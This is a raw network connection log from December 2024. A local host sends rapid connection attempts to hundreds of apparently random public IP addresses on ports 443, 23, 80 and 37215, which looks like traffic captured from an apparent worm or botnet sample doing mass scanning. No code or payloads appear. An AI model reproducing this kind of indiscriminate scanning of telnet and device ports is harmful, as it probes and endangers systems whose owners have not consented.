Dec 28, 2024 20:41:51.105797052 CET	28657	443	192.168.2.23	117.116.220.178
Dec 28, 2024 20:41:51.105797052 CET	28657	443	192.168.2.23	210.254.93.213
Dec 28, 2024 20:41:51.105797052 CET	28657	443	192.168.2.23	178.255.124.3
Dec 28, 2024 20:41:51.105797052 CET	28657	443	192.168.2.23	202.223.222.29
Dec 28, 2024 20:41:51.105813026 CET	28657	443	192.168.2.23	178.23.58.214
Dec 28, 2024 20:41:51.105813026 CET	28657	443	192.168.2.23	109.110.162.247
Dec 28, 2024 20:41:51.105813026 CET	28657	443	192.168.2.23	123.64.182.102
Dec 28, 2024 20:41:51.105850935 CET	28657	443	192.168.2.23	118.234.63.25
Dec 28, 2024 20:41:51.105850935 CET	28657	443	192.168.2.23	109.239.253.99
Dec 28, 2024 20:41:51.105853081 CET	28657	443	192.168.2.23	79.241.196.233
Dec 28, 2024 20:41:51.105854034 CET	28657	443	192.168.2.23	94.71.155.143
Dec 28, 2024 20:41:51.105854034 CET	28657	443	192.168.2.23	202.80.48.102
Dec 28, 2024 20:41:51.105854034 CET	28657	443	192.168.2.23	37.200.140.152
Dec 28, 2024 20:41:51.105854988 CET	28657	443	192.168.2.23	212.160.181.170
Dec 28, 2024 20:41:51.105859041 CET	28657	443	192.168.2.23	210.138.199.17
Dec 28, 2024 20:41:51.105859041 CET	28657	443	192.168.2.23	109.31.55.221
Dec 28, 2024 20:41:51.105859995 CET	28657	443	192.168.2.23	5.5.161.161
Dec 28, 2024 20:41:51.105860949 CET	28657	443	192.168.2.23	178.17.97.75
Dec 28, 2024 20:41:51.105860949 CET	28657	443	192.168.2.23	2.106.115.152
Dec 28, 2024 20:41:51.105865955 CET	28657	443	192.168.2.23	37.82.128.160
Dec 28, 2024 20:41:51.105879068 CET	28657	443	192.168.2.23	123.145.74.157
Dec 28, 2024 20:41:51.105879068 CET	28657	443	192.168.2.23	212.57.171.214
Dec 28, 2024 20:41:51.105879068 CET	28657	443	192.168.2.23	118.192.0.171
Dec 28, 2024 20:41:51.105880022 CET	28657	443	192.168.2.23	178.8.88.136
Dec 28, 2024 20:41:51.105879068 CET	28657	443	192.168.2.23	212.11.103.8
Dec 28, 2024 20:41:51.105879068 CET	28657	443	192.168.2.23	37.43.151.104
Dec 28, 2024 20:41:51.105879068 CET	28657	443	192.168.2.23	117.197.210.163
Dec 28, 2024 20:41:51.105880976 CET	28657	443	192.168.2.23	210.135.165.64
Dec 28, 2024 20:41:51.105879068 CET	28657	443	192.168.2.23	2.198.124.13
Dec 28, 2024 20:41:51.105880976 CET	28657	443	192.168.2.23	2.177.157.127
Dec 28, 2024 20:41:51.105887890 CET	28657	443	192.168.2.23	202.195.71.111
Dec 28, 2024 20:41:51.105887890 CET	28657	443	192.168.2.23	117.252.250.74
Dec 28, 2024 20:41:51.105887890 CET	28657	443	192.168.2.23	2.23.3.27
Dec 28, 2024 20:41:51.105887890 CET	28657	443	192.168.2.23	148.242.205.252
Dec 28, 2024 20:41:51.105887890 CET	28657	443	192.168.2.23	117.69.251.2
Dec 28, 2024 20:41:51.105887890 CET	28657	443	192.168.2.23	210.113.56.122
Dec 28, 2024 20:41:51.105887890 CET	28657	443	192.168.2.23	5.17.52.166
Dec 28, 2024 20:41:51.105890989 CET	28657	443	192.168.2.23	2.16.66.245
Dec 28, 2024 20:41:51.105892897 CET	28657	443	192.168.2.23	178.81.154.237
Dec 28, 2024 20:41:51.105896950 CET	28657	443	192.168.2.23	202.119.155.56
Dec 28, 2024 20:41:51.105897903 CET	28657	443	192.168.2.23	212.112.184.159
Dec 28, 2024 20:41:51.105897903 CET	28657	443	192.168.2.23	123.78.176.153
Dec 28, 2024 20:41:51.105897903 CET	28657	443	192.168.2.23	5.142.242.125
Dec 28, 2024 20:41:51.105897903 CET	28657	443	192.168.2.23	117.41.177.187
Dec 28, 2024 20:41:51.105897903 CET	28657	443	192.168.2.23	210.218.228.166
Dec 28, 2024 20:41:51.105897903 CET	28657	443	192.168.2.23	117.201.85.141
Dec 28, 2024 20:41:51.105901957 CET	28657	443	192.168.2.23	2.15.49.84
Dec 28, 2024 20:41:51.105901957 CET	28657	443	192.168.2.23	94.183.153.215
Dec 28, 2024 20:41:51.105897903 CET	28657	443	192.168.2.23	210.50.5.43
Dec 28, 2024 20:41:51.105901957 CET	28657	443	192.168.2.23	117.65.24.96
Dec 28, 2024 20:41:51.105904102 CET	28657	443	192.168.2.23	178.235.126.253
Dec 28, 2024 20:41:51.105904102 CET	28657	443	192.168.2.23	94.39.78.155
Dec 28, 2024 20:41:51.105905056 CET	28657	443	192.168.2.23	94.107.237.250
Dec 28, 2024 20:41:51.105904102 CET	28657	443	192.168.2.23	117.169.10.185
Dec 28, 2024 20:41:51.105905056 CET	28657	443	192.168.2.23	79.157.136.79
Dec 28, 2024 20:41:51.105904102 CET	28657	443	192.168.2.23	5.155.238.208
Dec 28, 2024 20:41:51.105905056 CET	28657	443	192.168.2.23	109.180.75.252
Dec 28, 2024 20:41:51.105904102 CET	28657	443	192.168.2.23	118.194.67.189
Dec 28, 2024 20:41:51.105906963 CET	28657	443	192.168.2.23	148.84.135.231
Dec 28, 2024 20:41:51.105904102 CET	28657	443	192.168.2.23	123.143.72.155
Dec 28, 2024 20:41:51.105914116 CET	28657	443	192.168.2.23	148.24.129.243
Dec 28, 2024 20:41:51.105906963 CET	28657	443	192.168.2.23	178.162.227.233
Dec 28, 2024 20:41:51.105915070 CET	28657	443	192.168.2.23	148.67.43.246
Dec 28, 2024 20:41:51.105916977 CET	28657	443	192.168.2.23	5.102.172.46
Dec 28, 2024 20:41:51.105918884 CET	28657	443	192.168.2.23	123.106.33.125
Dec 28, 2024 20:41:51.105914116 CET	28657	443	192.168.2.23	94.234.187.51
Dec 28, 2024 20:41:51.105918884 CET	28657	443	192.168.2.23	118.152.30.139
Dec 28, 2024 20:41:51.105917931 CET	28657	443	192.168.2.23	210.13.144.84
Dec 28, 2024 20:41:51.105917931 CET	28657	443	192.168.2.23	202.100.252.228
Dec 28, 2024 20:41:51.105921984 CET	28657	443	192.168.2.23	2.241.40.21
Dec 28, 2024 20:41:51.105917931 CET	28657	443	192.168.2.23	117.247.112.250
Dec 28, 2024 20:41:51.105904102 CET	28657	443	192.168.2.23	148.57.77.127
Dec 28, 2024 20:41:51.105904102 CET	28657	443	192.168.2.23	37.211.128.48
Dec 28, 2024 20:41:51.105905056 CET	28657	443	192.168.2.23	79.124.181.192
Dec 28, 2024 20:41:51.105905056 CET	28657	443	192.168.2.23	37.84.6.6
Dec 28, 2024 20:41:51.105905056 CET	28657	443	192.168.2.23	178.39.195.157
Dec 28, 2024 20:41:51.105905056 CET	28657	443	192.168.2.23	118.106.69.102
Dec 28, 2024 20:41:51.105931044 CET	28657	443	192.168.2.23	212.212.251.177
Dec 28, 2024 20:41:51.105931044 CET	28657	443	192.168.2.23	202.83.211.122
Dec 28, 2024 20:41:51.105930090 CET	28657	443	192.168.2.23	42.52.24.16
Dec 28, 2024 20:41:51.105930090 CET	28657	443	192.168.2.23	117.200.195.108
Dec 28, 2024 20:41:51.105930090 CET	28657	443	192.168.2.23	109.107.210.218
Dec 28, 2024 20:41:51.105931044 CET	28657	443	192.168.2.23	109.96.248.172
Dec 28, 2024 20:41:51.105938911 CET	28657	443	192.168.2.23	37.139.37.255
Dec 28, 2024 20:41:51.105937958 CET	28657	443	192.168.2.23	42.89.69.15
Dec 28, 2024 20:41:51.105940104 CET	28657	443	192.168.2.23	5.58.203.164
Dec 28, 2024 20:41:51.105952978 CET	28657	443	192.168.2.23	117.255.166.198
Dec 28, 2024 20:41:51.105957985 CET	28657	443	192.168.2.23	148.200.161.243
Dec 28, 2024 20:41:51.105959892 CET	28657	443	192.168.2.23	79.99.210.185
Dec 28, 2024 20:41:51.105957985 CET	28657	443	192.168.2.23	202.127.181.218
Dec 28, 2024 20:41:51.105961084 CET	28657	443	192.168.2.23	178.97.22.33
Dec 28, 2024 20:41:51.105962038 CET	28657	443	192.168.2.23	123.22.79.194
Dec 28, 2024 20:41:51.105962038 CET	28657	443	192.168.2.23	2.170.132.76
Dec 28, 2024 20:41:51.105964899 CET	28657	443	192.168.2.23	37.183.76.164
Dec 28, 2024 20:41:51.105961084 CET	28657	443	192.168.2.23	210.58.26.10
Dec 28, 2024 20:41:51.105957985 CET	28657	443	192.168.2.23	37.158.84.12
Dec 28, 2024 20:41:51.105967999 CET	28657	443	192.168.2.23	79.59.40.153
Dec 28, 2024 20:41:51.105958939 CET	28657	443	192.168.2.23	79.193.73.239
Dec 28, 2024 20:41:51.105969906 CET	28657	443	192.168.2.23	148.55.113.128
Dec 28, 2024 20:41:51.105958939 CET	28657	443	192.168.2.23	5.160.45.91
Dec 28, 2024 20:41:51.105976105 CET	28657	443	192.168.2.23	210.13.142.205
Dec 28, 2024 20:41:51.105979919 CET	28657	443	192.168.2.23	109.232.12.180
Dec 28, 2024 20:41:51.105979919 CET	28657	443	192.168.2.23	117.212.222.253
Dec 28, 2024 20:41:51.105998039 CET	28657	443	192.168.2.23	148.47.208.0
Dec 28, 2024 20:41:51.106002092 CET	28657	443	192.168.2.23	2.213.53.78
Dec 28, 2024 20:41:51.106003046 CET	28657	443	192.168.2.23	123.114.23.78
Dec 28, 2024 20:41:51.106003046 CET	28657	443	192.168.2.23	118.240.245.195
Dec 28, 2024 20:41:51.106004000 CET	28657	443	192.168.2.23	123.60.182.39
Dec 28, 2024 20:41:51.106004000 CET	28657	443	192.168.2.23	37.237.41.109
Dec 28, 2024 20:41:51.106013060 CET	28657	443	192.168.2.23	212.255.100.16
Dec 28, 2024 20:41:51.106019020 CET	28657	443	192.168.2.23	123.231.216.16
Dec 28, 2024 20:41:51.106019020 CET	28657	443	192.168.2.23	202.158.103.176
Dec 28, 2024 20:41:51.106020927 CET	28657	443	192.168.2.23	210.246.114.139
Dec 28, 2024 20:41:51.106020927 CET	28657	443	192.168.2.23	42.155.59.136
Dec 28, 2024 20:41:51.106020927 CET	28657	443	192.168.2.23	210.254.223.211
Dec 28, 2024 20:41:51.106025934 CET	28657	443	192.168.2.23	210.178.124.66
Dec 28, 2024 20:41:51.106039047 CET	28657	443	192.168.2.23	148.254.20.128
Dec 28, 2024 20:41:51.106044054 CET	28657	443	192.168.2.23	118.19.206.71
Dec 28, 2024 20:41:51.106048107 CET	28657	443	192.168.2.23	212.70.4.174
Dec 28, 2024 20:41:51.106051922 CET	28657	443	192.168.2.23	212.120.212.41
Dec 28, 2024 20:41:51.106053114 CET	28657	443	192.168.2.23	148.217.76.103
Dec 28, 2024 20:41:51.106055021 CET	28657	443	192.168.2.23	118.66.209.14
Dec 28, 2024 20:41:51.106055975 CET	28657	443	192.168.2.23	123.98.192.181
Dec 28, 2024 20:41:51.106055975 CET	28657	443	192.168.2.23	42.117.202.18
Dec 28, 2024 20:41:51.106064081 CET	28657	443	192.168.2.23	79.231.226.60
Dec 28, 2024 20:41:51.106067896 CET	28657	443	192.168.2.23	178.8.65.104
Dec 28, 2024 20:41:51.106067896 CET	28657	443	192.168.2.23	202.116.251.121
Dec 28, 2024 20:41:51.106070995 CET	28657	443	192.168.2.23	178.87.245.246
Dec 28, 2024 20:41:51.106071949 CET	28657	443	192.168.2.23	117.177.42.248
Dec 28, 2024 20:41:51.106072903 CET	28657	443	192.168.2.23	148.187.121.29
Dec 28, 2024 20:41:51.106071949 CET	28657	443	192.168.2.23	79.236.44.26
Dec 28, 2024 20:41:51.106070995 CET	28657	443	192.168.2.23	5.1.246.188
Dec 28, 2024 20:41:51.106070995 CET	28657	443	192.168.2.23	5.177.76.182
Dec 28, 2024 20:41:51.106070995 CET	28657	443	192.168.2.23	148.137.185.106
Dec 28, 2024 20:41:51.106091022 CET	28657	443	192.168.2.23	117.3.129.153
Dec 28, 2024 20:41:51.106091022 CET	28657	443	192.168.2.23	212.38.162.0
Dec 28, 2024 20:41:51.106101036 CET	28657	443	192.168.2.23	5.129.184.177
Dec 28, 2024 20:41:51.106101990 CET	28657	443	192.168.2.23	37.151.131.95
Dec 28, 2024 20:41:51.106101990 CET	28657	443	192.168.2.23	79.56.207.139
Dec 28, 2024 20:41:51.106267929 CET	58514	443	192.168.2.23	117.193.41.179
Dec 28, 2024 20:41:51.106283903 CET	443	58514	117.193.41.179	192.168.2.23
Dec 28, 2024 20:41:51.106292009 CET	58514	443	192.168.2.23	117.193.41.179
Dec 28, 2024 20:41:51.106317043 CET	443	58514	117.193.41.179	192.168.2.23
Dec 28, 2024 20:41:51.136339903 CET	39274	443	192.168.2.23	2.205.68.156
Dec 28, 2024 20:41:51.136393070 CET	443	39274	2.205.68.156	192.168.2.23
Dec 28, 2024 20:41:51.136501074 CET	39274	443	192.168.2.23	2.205.68.156
Dec 28, 2024 20:41:51.136596918 CET	39274	443	192.168.2.23	2.205.68.156
Dec 28, 2024 20:41:51.136596918 CET	39274	443	192.168.2.23	2.205.68.156
Dec 28, 2024 20:41:51.136632919 CET	443	39274	2.205.68.156	192.168.2.23
Dec 28, 2024 20:41:51.136662006 CET	443	39274	2.205.68.156	192.168.2.23
Dec 28, 2024 20:41:51.144464970 CET	23	28664	218.231.176.1	192.168.2.23
Dec 28, 2024 20:41:51.144474983 CET	23	28664	166.36.196.57	192.168.2.23
Dec 28, 2024 20:41:51.144479990 CET	23	28664	78.83.211.214	192.168.2.23
Dec 28, 2024 20:41:51.144484997 CET	23	28664	46.153.143.86	192.168.2.23
Dec 28, 2024 20:41:51.144489050 CET	23	28664	45.17.117.111	192.168.2.23
Dec 28, 2024 20:41:51.144503117 CET	23	28664	97.207.148.248	192.168.2.23
Dec 28, 2024 20:41:51.144505024 CET	23	28664	158.244.186.46	192.168.2.23
Dec 28, 2024 20:41:51.144512892 CET	28664	23	192.168.2.23	218.231.176.1
Dec 28, 2024 20:41:51.144512892 CET	28664	23	192.168.2.23	46.153.143.86
Dec 28, 2024 20:41:51.144530058 CET	28664	23	192.168.2.23	45.17.117.111
Dec 28, 2024 20:41:51.144535065 CET	28664	23	192.168.2.23	166.36.196.57
Dec 28, 2024 20:41:51.144539118 CET	28664	23	192.168.2.23	78.83.211.214
Dec 28, 2024 20:41:51.144539118 CET	28664	23	192.168.2.23	158.244.186.46
Dec 28, 2024 20:41:51.144546986 CET	28664	23	192.168.2.23	97.207.148.248
Dec 28, 2024 20:41:51.144582987 CET	23	28664	42.71.122.108	192.168.2.23
Dec 28, 2024 20:41:51.144587994 CET	23	28664	207.117.211.186	192.168.2.23
Dec 28, 2024 20:41:51.144593000 CET	23	28664	24.54.182.122	192.168.2.23
Dec 28, 2024 20:41:51.144598007 CET	23	28664	37.169.142.118	192.168.2.23
Dec 28, 2024 20:41:51.144608974 CET	23	28664	159.205.117.27	192.168.2.23
Dec 28, 2024 20:41:51.144613981 CET	23	28664	136.176.218.200	192.168.2.23
Dec 28, 2024 20:41:51.144618988 CET	23	28664	211.212.203.216	192.168.2.23
Dec 28, 2024 20:41:51.144623995 CET	23	28664	147.121.118.162	192.168.2.23
Dec 28, 2024 20:41:51.144629002 CET	23	28664	185.77.157.187	192.168.2.23
Dec 28, 2024 20:41:51.144629955 CET	28664	23	192.168.2.23	42.71.122.108
Dec 28, 2024 20:41:51.144629955 CET	28664	23	192.168.2.23	207.117.211.186
Dec 28, 2024 20:41:51.144629955 CET	28664	23	192.168.2.23	24.54.182.122
Dec 28, 2024 20:41:51.144633055 CET	23	28664	72.162.188.110	192.168.2.23
Dec 28, 2024 20:41:51.144637108 CET	23	28664	213.113.121.168	192.168.2.23
Dec 28, 2024 20:41:51.144642115 CET	28664	23	192.168.2.23	159.205.117.27
Dec 28, 2024 20:41:51.144642115 CET	23	28664	216.43.70.194	192.168.2.23
Dec 28, 2024 20:41:51.144646883 CET	23	28664	221.174.18.80	192.168.2.23
Dec 28, 2024 20:41:51.144650936 CET	28664	23	192.168.2.23	211.212.203.216
Dec 28, 2024 20:41:51.144651890 CET	23	28664	142.86.47.164	192.168.2.23
Dec 28, 2024 20:41:51.144656897 CET	23	28664	40.148.165.99	192.168.2.23
Dec 28, 2024 20:41:51.144659996 CET	28664	23	192.168.2.23	37.169.142.118
Dec 28, 2024 20:41:51.144660950 CET	23	28664	100.151.156.23	192.168.2.23
Dec 28, 2024 20:41:51.144668102 CET	23	28664	109.238.159.174	192.168.2.23
Dec 28, 2024 20:41:51.144670010 CET	28664	23	192.168.2.23	72.162.188.110
Dec 28, 2024 20:41:51.144670010 CET	28664	23	192.168.2.23	213.113.121.168
Dec 28, 2024 20:41:51.144678116 CET	28664	23	192.168.2.23	216.43.70.194
Dec 28, 2024 20:41:51.144681931 CET	28664	23	192.168.2.23	185.77.157.187
Dec 28, 2024 20:41:51.144681931 CET	28664	23	192.168.2.23	221.174.18.80
Dec 28, 2024 20:41:51.144686937 CET	23	28664	84.41.63.216	192.168.2.23
Dec 28, 2024 20:41:51.144691944 CET	23	28664	1.29.213.245	192.168.2.23
Dec 28, 2024 20:41:51.144695997 CET	23	28664	168.2.158.170	192.168.2.23
Dec 28, 2024 20:41:51.144701004 CET	23	28664	186.119.173.27	192.168.2.23
Dec 28, 2024 20:41:51.144702911 CET	28664	23	192.168.2.23	109.238.159.174
Dec 28, 2024 20:41:51.144706011 CET	23	28664	177.244.49.50	192.168.2.23
Dec 28, 2024 20:41:51.144706964 CET	28664	23	192.168.2.23	40.148.165.99
Dec 28, 2024 20:41:51.144711018 CET	23	28664	152.159.36.129	192.168.2.23
Dec 28, 2024 20:41:51.144711018 CET	28664	23	192.168.2.23	136.176.218.200
Dec 28, 2024 20:41:51.144711018 CET	28664	23	192.168.2.23	147.121.118.162
Dec 28, 2024 20:41:51.144711018 CET	28664	23	192.168.2.23	142.86.47.164
Dec 28, 2024 20:41:51.144714117 CET	28664	23	192.168.2.23	100.151.156.23
Dec 28, 2024 20:41:51.144726992 CET	28664	23	192.168.2.23	1.29.213.245
Dec 28, 2024 20:41:51.144728899 CET	28664	23	192.168.2.23	186.119.173.27
Dec 28, 2024 20:41:51.144735098 CET	28664	23	192.168.2.23	168.2.158.170
Dec 28, 2024 20:41:51.144738913 CET	28664	23	192.168.2.23	84.41.63.216
Dec 28, 2024 20:41:51.144769907 CET	28664	23	192.168.2.23	177.244.49.50
Dec 28, 2024 20:41:51.144777060 CET	28664	23	192.168.2.23	152.159.36.129
Dec 28, 2024 20:41:51.145160913 CET	23	28664	150.106.96.138	192.168.2.23
Dec 28, 2024 20:41:51.145215988 CET	23	28664	144.211.45.48	192.168.2.23
Dec 28, 2024 20:41:51.145220995 CET	23	28664	164.71.249.179	192.168.2.23
Dec 28, 2024 20:41:51.145258904 CET	23	28664	136.143.234.111	192.168.2.23
Dec 28, 2024 20:41:51.145286083 CET	23	28664	98.70.114.39	192.168.2.23
Dec 28, 2024 20:41:51.145287991 CET	28664	23	192.168.2.23	150.106.96.138
Dec 28, 2024 20:41:51.145297050 CET	28664	23	192.168.2.23	144.211.45.48
Dec 28, 2024 20:41:51.145312071 CET	28664	23	192.168.2.23	164.71.249.179
Dec 28, 2024 20:41:51.145328045 CET	28664	23	192.168.2.23	136.143.234.111
Dec 28, 2024 20:41:51.145332098 CET	23	28664	202.52.81.82	192.168.2.23
Dec 28, 2024 20:41:51.145339012 CET	28664	23	192.168.2.23	98.70.114.39
Dec 28, 2024 20:41:51.145354033 CET	23	28664	53.174.115.214	192.168.2.23
Dec 28, 2024 20:41:51.145365953 CET	28664	23	192.168.2.23	202.52.81.82
Dec 28, 2024 20:41:51.145406961 CET	23	28664	53.96.169.148	192.168.2.23
Dec 28, 2024 20:41:51.145411968 CET	23	28664	120.77.96.7	192.168.2.23
Dec 28, 2024 20:41:51.145417929 CET	23	28664	129.166.50.16	192.168.2.23
Dec 28, 2024 20:41:51.145437002 CET	28664	23	192.168.2.23	53.174.115.214
Dec 28, 2024 20:41:51.145459890 CET	23	28664	50.85.90.47	192.168.2.23
Dec 28, 2024 20:41:51.145462990 CET	28664	23	192.168.2.23	53.96.169.148
Dec 28, 2024 20:41:51.145466089 CET	28664	23	192.168.2.23	120.77.96.7
Dec 28, 2024 20:41:51.145467997 CET	23	28664	76.203.15.130	192.168.2.23
Dec 28, 2024 20:41:51.145483017 CET	28664	23	192.168.2.23	129.166.50.16
Dec 28, 2024 20:41:51.145489931 CET	28664	23	192.168.2.23	50.85.90.47
Dec 28, 2024 20:41:51.145529985 CET	23	28664	105.53.223.188	192.168.2.23
Dec 28, 2024 20:41:51.145540953 CET	23	28664	104.240.175.97	192.168.2.23
Dec 28, 2024 20:41:51.145543098 CET	28664	23	192.168.2.23	76.203.15.130
Dec 28, 2024 20:41:51.145590067 CET	23	28664	106.2.138.67	192.168.2.23
Dec 28, 2024 20:41:51.145595074 CET	28664	23	192.168.2.23	105.53.223.188
Dec 28, 2024 20:41:51.145730972 CET	23	28664	204.76.155.174	192.168.2.23
Dec 28, 2024 20:41:51.145735979 CET	23	28664	180.89.74.229	192.168.2.23
Dec 28, 2024 20:41:51.145740986 CET	23	28664	196.32.70.40	192.168.2.23
Dec 28, 2024 20:41:51.145751953 CET	23	28664	172.165.235.18	192.168.2.23
Dec 28, 2024 20:41:51.145756960 CET	23	28664	220.153.141.172	192.168.2.23
Dec 28, 2024 20:41:51.145791054 CET	28664	23	192.168.2.23	104.240.175.97
Dec 28, 2024 20:41:51.145792007 CET	28664	23	192.168.2.23	196.32.70.40
Dec 28, 2024 20:41:51.145792007 CET	28664	23	192.168.2.23	204.76.155.174
Dec 28, 2024 20:41:51.145792007 CET	28664	23	192.168.2.23	106.2.138.67
Dec 28, 2024 20:41:51.145792007 CET	28664	23	192.168.2.23	180.89.74.229
Dec 28, 2024 20:41:51.145801067 CET	28664	23	192.168.2.23	220.153.141.172
Dec 28, 2024 20:41:51.145801067 CET	28664	23	192.168.2.23	172.165.235.18
Dec 28, 2024 20:41:51.145824909 CET	23	28664	135.243.162.44	192.168.2.23
Dec 28, 2024 20:41:51.145829916 CET	23	28664	142.208.36.80	192.168.2.23
Dec 28, 2024 20:41:51.145839930 CET	23	28664	141.113.131.165	192.168.2.23
Dec 28, 2024 20:41:51.145850897 CET	23	28664	185.93.34.161	192.168.2.23
Dec 28, 2024 20:41:51.145854950 CET	23	28664	50.128.135.187	192.168.2.23
Dec 28, 2024 20:41:51.145859957 CET	23	28664	64.68.8.150	192.168.2.23
Dec 28, 2024 20:41:51.145864964 CET	23	28664	112.9.228.98	192.168.2.23
Dec 28, 2024 20:41:51.145872116 CET	23	28664	69.13.119.129	192.168.2.23
Dec 28, 2024 20:41:51.145874023 CET	28664	23	192.168.2.23	141.113.131.165
Dec 28, 2024 20:41:51.145874023 CET	28664	23	192.168.2.23	135.243.162.44
Dec 28, 2024 20:41:51.145880938 CET	28664	23	192.168.2.23	142.208.36.80
Dec 28, 2024 20:41:51.145880938 CET	28664	23	192.168.2.23	185.93.34.161
Dec 28, 2024 20:41:51.145885944 CET	28664	23	192.168.2.23	64.68.8.150
Dec 28, 2024 20:41:51.145896912 CET	28664	23	192.168.2.23	50.128.135.187
Dec 28, 2024 20:41:51.145899057 CET	28664	23	192.168.2.23	112.9.228.98
Dec 28, 2024 20:41:51.145951033 CET	28664	23	192.168.2.23	69.13.119.129
Dec 28, 2024 20:41:51.146199942 CET	23	28664	45.25.108.80	192.168.2.23
Dec 28, 2024 20:41:51.146204948 CET	23	28664	69.145.114.65	192.168.2.23
Dec 28, 2024 20:41:51.146235943 CET	28664	23	192.168.2.23	45.25.108.80
Dec 28, 2024 20:41:51.146249056 CET	28664	23	192.168.2.23	69.145.114.65
Dec 28, 2024 20:41:51.146300077 CET	23	28664	178.91.42.250	192.168.2.23
Dec 28, 2024 20:41:51.146363020 CET	23	28664	136.142.244.212	192.168.2.23
Dec 28, 2024 20:41:51.146372080 CET	23	28664	219.193.234.174	192.168.2.23
Dec 28, 2024 20:41:51.146377087 CET	23	28664	23.10.81.54	192.168.2.23
Dec 28, 2024 20:41:51.146403074 CET	23	28664	1.89.55.246	192.168.2.23
Dec 28, 2024 20:41:51.146408081 CET	23	28664	184.243.78.123	192.168.2.23
Dec 28, 2024 20:41:51.146418095 CET	28664	23	192.168.2.23	178.91.42.250
Dec 28, 2024 20:41:51.146418095 CET	28664	23	192.168.2.23	219.193.234.174
Dec 28, 2024 20:41:51.146423101 CET	28664	23	192.168.2.23	136.142.244.212
Dec 28, 2024 20:41:51.146433115 CET	28664	23	192.168.2.23	23.10.81.54
Dec 28, 2024 20:41:51.146433115 CET	28664	23	192.168.2.23	184.243.78.123
Dec 28, 2024 20:41:51.146445036 CET	23	28664	193.153.84.158	192.168.2.23
Dec 28, 2024 20:41:51.146449089 CET	28664	23	192.168.2.23	1.89.55.246
Dec 28, 2024 20:41:51.146450043 CET	23	28664	32.18.54.173	192.168.2.23
Dec 28, 2024 20:41:51.146455050 CET	23	28664	158.235.196.137	192.168.2.23
Dec 28, 2024 20:41:51.146465063 CET	23	28664	156.159.49.184	192.168.2.23
Dec 28, 2024 20:41:51.146495104 CET	28664	23	192.168.2.23	193.153.84.158
Dec 28, 2024 20:41:51.146513939 CET	28664	23	192.168.2.23	158.235.196.137
Dec 28, 2024 20:41:51.146513939 CET	28664	23	192.168.2.23	156.159.49.184
Dec 28, 2024 20:41:51.146513939 CET	28664	23	192.168.2.23	32.18.54.173
Dec 28, 2024 20:41:51.146631002 CET	23	28664	141.232.21.96	192.168.2.23
Dec 28, 2024 20:41:51.146636963 CET	23	28664	77.224.232.2	192.168.2.23
Dec 28, 2024 20:41:51.146641970 CET	23	28664	95.13.205.35	192.168.2.23
Dec 28, 2024 20:41:51.146646976 CET	23	28664	159.30.130.242	192.168.2.23
Dec 28, 2024 20:41:51.146666050 CET	23	28664	157.236.185.103	192.168.2.23
Dec 28, 2024 20:41:51.146671057 CET	23	28664	82.122.232.129	192.168.2.23
Dec 28, 2024 20:41:51.146675110 CET	23	28664	113.120.186.8	192.168.2.23
Dec 28, 2024 20:41:51.146678925 CET	23	28664	158.192.177.6	192.168.2.23
Dec 28, 2024 20:41:51.146681070 CET	28664	23	192.168.2.23	95.13.205.35
Dec 28, 2024 20:41:51.146681070 CET	28664	23	192.168.2.23	159.30.130.242
Dec 28, 2024 20:41:51.146682978 CET	23	28664	23.186.18.60	192.168.2.23
Dec 28, 2024 20:41:51.146688938 CET	23	28664	25.151.110.78	192.168.2.23
Dec 28, 2024 20:41:51.146692991 CET	23	28664	121.205.130.31	192.168.2.23
Dec 28, 2024 20:41:51.146703005 CET	23	28664	177.169.23.216	192.168.2.23
Dec 28, 2024 20:41:51.146703005 CET	28664	23	192.168.2.23	141.232.21.96
Dec 28, 2024 20:41:51.146703005 CET	28664	23	192.168.2.23	77.224.232.2
Dec 28, 2024 20:41:51.146707058 CET	23	28664	20.212.247.255	192.168.2.23
Dec 28, 2024 20:41:51.146712065 CET	23	28664	20.27.188.142	192.168.2.23
Dec 28, 2024 20:41:51.146720886 CET	23	28664	131.2.157.25	192.168.2.23
Dec 28, 2024 20:41:51.146725893 CET	23	28664	18.31.145.255	192.168.2.23
Dec 28, 2024 20:41:51.146724939 CET	28664	23	192.168.2.23	113.120.186.8
Dec 28, 2024 20:41:51.146728039 CET	28664	23	192.168.2.23	82.122.232.129
Dec 28, 2024 20:41:51.146728992 CET	28664	23	192.168.2.23	121.205.130.31
Dec 28, 2024 20:41:51.146728992 CET	28664	23	192.168.2.23	158.192.177.6
Dec 28, 2024 20:41:51.146739960 CET	23	28664	49.121.215.181	192.168.2.23
Dec 28, 2024 20:41:51.146744967 CET	23	28664	47.96.96.127	192.168.2.23
Dec 28, 2024 20:41:51.146747112 CET	28664	23	192.168.2.23	20.27.188.142
Dec 28, 2024 20:41:51.146749020 CET	23	28664	213.54.29.26	192.168.2.23
Dec 28, 2024 20:41:51.146754980 CET	23	28664	96.10.145.120	192.168.2.23
Dec 28, 2024 20:41:51.146755934 CET	28664	23	192.168.2.23	177.169.23.216
Dec 28, 2024 20:41:51.146759987 CET	28664	23	192.168.2.23	23.186.18.60
Dec 28, 2024 20:41:51.146763086 CET	28664	23	192.168.2.23	157.236.185.103
Dec 28, 2024 20:41:51.146763086 CET	28664	23	192.168.2.23	20.212.247.255
Dec 28, 2024 20:41:51.146763086 CET	28664	23	192.168.2.23	25.151.110.78
Dec 28, 2024 20:41:51.146763086 CET	28664	23	192.168.2.23	18.31.145.255
Dec 28, 2024 20:41:51.146763086 CET	28664	23	192.168.2.23	131.2.157.25
Dec 28, 2024 20:41:51.146770000 CET	28664	23	192.168.2.23	49.121.215.181
Dec 28, 2024 20:41:51.146775007 CET	23	28664	17.233.99.204	192.168.2.23
Dec 28, 2024 20:41:51.146784067 CET	28664	23	192.168.2.23	213.54.29.26
Dec 28, 2024 20:41:51.146784067 CET	28664	23	192.168.2.23	47.96.96.127
Dec 28, 2024 20:41:51.146821976 CET	28664	23	192.168.2.23	96.10.145.120
Dec 28, 2024 20:41:51.146821976 CET	28664	23	192.168.2.23	17.233.99.204
Dec 28, 2024 20:41:51.155143023 CET	80	28662	222.87.210.67	192.168.2.23
Dec 28, 2024 20:41:51.155199051 CET	28662	80	192.168.2.23	222.87.210.67
Dec 28, 2024 20:41:51.174462080 CET	37215	28660	156.146.0.187	192.168.2.23
Dec 28, 2024 20:41:51.175231934 CET	28660	37215	192.168.2.23	156.146.0.187
Dec 28, 2024 20:41:52.026166916 CET	28664	23	192.168.2.23	48.209.252.182
Dec 28, 2024 20:41:52.026182890 CET	28664	23	192.168.2.23	54.89.127.16
Dec 28, 2024 20:41:52.026182890 CET	28664	23	192.168.2.23	110.141.225.47
Dec 28, 2024 20:41:52.026199102 CET	28664	23	192.168.2.23	148.20.152.135
